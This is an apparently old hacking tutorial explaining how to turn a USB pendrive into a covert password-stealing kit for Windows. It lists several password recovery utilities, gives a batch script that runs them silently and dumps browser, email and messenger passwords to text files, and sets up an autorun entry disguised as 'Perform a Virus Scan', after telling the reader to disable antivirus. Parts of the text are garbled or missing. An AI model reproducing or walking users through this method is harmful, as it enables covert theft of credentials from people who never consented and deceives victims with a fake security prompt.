How to Sniff Passwords Using USB Drive
we all know, Windows stores most of the passwords which are used on a
daily basis, including instant messenger passwords such as MSN, Yahoo,
AOL, Windows messenger etc. Along with these, Windows also stores
passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete
passwords of many browsers like IE and Firefox. There exists many tools
for recovering these passswords from their stored places. Using these
tools and an USB pendrive you can create your own rootkit to sniff
passwords from any computer. We need the following tools to create our
the passwords of most popular Instant Messenger programs: MSN
Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL
Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
the passwords of the following email programs: Outlook Express,
Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook
2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora,
Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email
accounts (HotMail, Yahoo!, Gmail), if you use the associated programs
of these accounts.
PassView is a small utility that reveals the passwords stored by
Internet Explorer browser. It supports the new Internet Explorer 7.0,
as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView:
all passwords stored inside the Protected Storage, including the
AutoComplete passwords of Internet Explorer, passwords of
Password-protected sites, MSN Explorer Passwords, and more…
is a small password recovery tool that allows you to view the user
names and passwords stored by Mozilla Firefox Web browser. By default,
PasswordFox displays the passwords stored in your current profile, but
you can easily select to watch the passwords of any other Firefox
profile. For each password entry, the following information is
displayed: Record Index, Web Site, User Name, Password, User Name
Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
all the 5 tools, extract them and copy only the executables(.exe files)
into your USB Pendrive.
ie: Copy the files – mspass.exe
into your USB Drive.
2. Create a new Notepad
and write the following text into it
ACTION= Perform a Virus Scan
the Notepad and rename it
New Text Document.txt
file onto your USB pendrive.
Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt
file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the
passwords. You can use this pendrive on on any computer to sniff the
stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan
3. Now all the password recovery tools will silently get executed in
the background (This process takes hardly a few seconds). The passwords
get stored in the .TXT
4. Remove the pendrive and you’ll see the stored passwords in the .TXT
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.